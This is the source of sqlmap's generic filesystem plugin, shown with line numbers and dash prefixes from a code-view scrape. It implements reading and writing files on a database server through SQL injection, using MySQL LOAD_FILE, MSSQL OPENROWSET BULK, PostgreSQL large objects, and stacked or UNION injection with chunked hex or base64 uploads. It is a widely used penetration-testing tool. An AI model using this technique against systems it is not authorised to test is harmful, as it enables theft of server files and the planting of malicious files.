123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305 |
- #!/usr/bin/env python
- """
- Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
- See the file 'doc/COPYING' for copying permission
- """
- import os
- import sys
- from lib.core.agent import agent
- from lib.core.common import dataToOutFile
- from lib.core.common import Backend
- from lib.core.common import checkFile
- from lib.core.common import decloakToTemp
- from lib.core.common import decodeHexValue
- from lib.core.common import getUnicode
- from lib.core.common import isNumPosStrValue
- from lib.core.common import isListLike
- from lib.core.common import isStackingAvailable
- from lib.core.common import isTechniqueAvailable
- from lib.core.common import readInput
- from lib.core.data import conf
- from lib.core.data import kb
- from lib.core.data import logger
- from lib.core.enums import DBMS
- from lib.core.enums import CHARSET_TYPE
- from lib.core.enums import EXPECTED
- from lib.core.enums import PAYLOAD
- from lib.core.exception import SqlmapUndefinedMethod
- from lib.core.settings import UNICODE_ENCODING
- from lib.request import inject
- class Filesystem:
- """
- This class defines generic OS file system functionalities for plugins.
- """
- def __init__(self):
- self.fileTblName = "sqlmapfile"
- self.tblField = "data"
- def _checkFileLength(self, localFile, remoteFile, fileRead=False):
- if Backend.isDbms(DBMS.MYSQL):
- lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
- elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
- lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
- elif Backend.isDbms(DBMS.MSSQL):
- self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
- inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField));
- lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
- try:
- localFileSize = os.path.getsize(localFile)
- except OSError:
- warnMsg = "file '%s' is missing" % localFile
- logger.warn(warnMsg)
- localFileSize = 0
- if fileRead and Backend.isDbms(DBMS.PGSQL):
- logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile)
- sameFile = True
- else:
- logger.debug("checking the length of the remote file '%s'" % remoteFile)
- remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
- sameFile = None
- if isNumPosStrValue(remoteFileSize):
- remoteFileSize = long(remoteFileSize)
- localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
- sameFile = False
- if localFileSize == remoteFileSize:
- sameFile = True
- infoMsg = "the local file '%s' and the remote file " % localFile
- infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize)
- elif remoteFileSize > localFileSize:
- infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize)
- infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize)
- else:
- infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize)
- infoMsg += "file '%s' (%d B)" % (localFile, localFileSize)
- logger.info(infoMsg)
- else:
- sameFile = False
- warnMsg = "it looks like the file has not been written (usually "
- warnMsg += "occurs if the DBMS process user has no write "
- warnMsg += "privileges in the destination path)"
- logger.warn(warnMsg)
- return sameFile
- def fileToSqlQueries(self, fcEncodedList):
- """
- Called by MySQL and PostgreSQL plugins to write a file on the
- back-end DBMS underlying file system
- """
- counter = 0
- sqlQueries = []
- for fcEncodedLine in fcEncodedList:
- if counter == 0:
- sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
- else:
- updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine)
- sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
- counter += 1
- return sqlQueries
- def fileEncode(self, fileName, encoding, single, chunkSize=256):
- """
- Called by MySQL and PostgreSQL plugins to write a file on the
- back-end DBMS underlying file system
- """
- with open(fileName, "rb") as f:
- content = f.read()
- return self.fileContentEncode(content, encoding, single, chunkSize)
- def fileContentEncode(self, content, encoding, single, chunkSize=256):
- retVal = []
- if encoding:
- content = content.encode(encoding).replace("\n", "")
- if not single:
- if len(content) > chunkSize:
- for i in xrange(0, len(content), chunkSize):
- _ = content[i:i + chunkSize]
- if encoding == "hex":
- _ = "0x%s" % _
- elif encoding == "base64":
- _ = "'%s'" % _
- retVal.append(_)
- if not retVal:
- if encoding == "hex":
- content = "0x%s" % content
- elif encoding == "base64":
- content = "'%s'" % content
- retVal = [content]
- return retVal
- def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False):
- output = None
- if forceCheck is not True:
- message = "do you want confirmation that the local file '%s' " % localFile
- message += "has been successfully written on the back-end DBMS "
- message += "file system ('%s')? [Y/n] " % remoteFile
- output = readInput(message, default="Y")
- if forceCheck or (output and output.lower() == "y"):
- return self._checkFileLength(localFile, remoteFile)
- return True
- def askCheckReadFile(self, localFile, remoteFile):
- message = "do you want confirmation that the remote file '%s' " % remoteFile
- message += "has been successfully downloaded from the back-end "
- message += "DBMS file system? [Y/n] "
- output = readInput(message, default="Y")
- if not output or output in ("y", "Y"):
- return self._checkFileLength(localFile, remoteFile, True)
- return None
- def nonStackedReadFile(self, remoteFile):
- errMsg = "'nonStackedReadFile' method must be defined "
- errMsg += "into the specific DBMS plugin"
- raise SqlmapUndefinedMethod(errMsg)
- def stackedReadFile(self, remoteFile):
- errMsg = "'stackedReadFile' method must be defined "
- errMsg += "into the specific DBMS plugin"
- raise SqlmapUndefinedMethod(errMsg)
- def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
- errMsg = "'unionWriteFile' method must be defined "
- errMsg += "into the specific DBMS plugin"
- raise SqlmapUndefinedMethod(errMsg)
- def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
- errMsg = "'stackedWriteFile' method must be defined "
- errMsg += "into the specific DBMS plugin"
- raise SqlmapUndefinedMethod(errMsg)
- def readFile(self, remoteFiles):
- localFilePaths = []
- self.checkDbmsOs()
- for remoteFile in remoteFiles.split(","):
- fileContent = None
- kb.fileReadMode = True
- if conf.direct or isStackingAvailable():
- if isStackingAvailable():
- debugMsg = "going to read the file with stacked query SQL "
- debugMsg += "injection technique"
- logger.debug(debugMsg)
- fileContent = self.stackedReadFile(remoteFile)
- elif Backend.isDbms(DBMS.MYSQL):
- debugMsg = "going to read the file with a non-stacked query "
- debugMsg += "SQL injection technique"
- logger.debug(debugMsg)
- fileContent = self.nonStackedReadFile(remoteFile)
- else:
- errMsg = "none of the SQL injection techniques detected can "
- errMsg += "be used to read files from the underlying file "
- errMsg += "system of the back-end %s server" % Backend.getDbms()
- logger.error(errMsg)
- fileContent = None
- kb.fileReadMode = False
- if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL):
- self.cleanup(onlyFileTbl=True)
- elif isListLike(fileContent):
- newFileContent = ""
- for chunk in fileContent:
- if isListLike(chunk):
- if len(chunk) > 0:
- chunk = chunk[0]
- else:
- chunk = ""
- if chunk:
- newFileContent += chunk
- fileContent = newFileContent
- if fileContent is not None:
- fileContent = decodeHexValue(fileContent, True)
- if fileContent:
- localFilePath = dataToOutFile(remoteFile, fileContent)
- if not Backend.isDbms(DBMS.PGSQL):
- self.cleanup(onlyFileTbl=True)
- sameFile = self.askCheckReadFile(localFilePath, remoteFile)
- if sameFile is True:
- localFilePath += " (same file)"
- elif sameFile is False:
- localFilePath += " (size differs from remote file)"
- localFilePaths.append(localFilePath)
- else:
- errMsg = "no data retrieved"
- logger.error(errMsg)
- return localFilePaths
- def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
- written = False
- checkFile(localFile)
- self.checkDbmsOs()
- if localFile.endswith('_'):
- localFile = decloakToTemp(localFile)
- if conf.direct or isStackingAvailable():
- if isStackingAvailable():
- debugMsg = "going to upload the file '%s' with " % fileType
- debugMsg += "stacked query SQL injection technique"
- logger.debug(debugMsg)
- written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
- self.cleanup(onlyFileTbl=True)
- elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
- debugMsg = "going to upload the file '%s' with " % fileType
- debugMsg += "UNION query SQL injection technique"
- logger.debug(debugMsg)
- written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
- else:
- errMsg = "none of the SQL injection techniques detected can "
- errMsg += "be used to write files to the underlying file "
- errMsg += "system of the back-end %s server" % Backend.getDbms()
- logger.error(errMsg)
- return None
- return written
|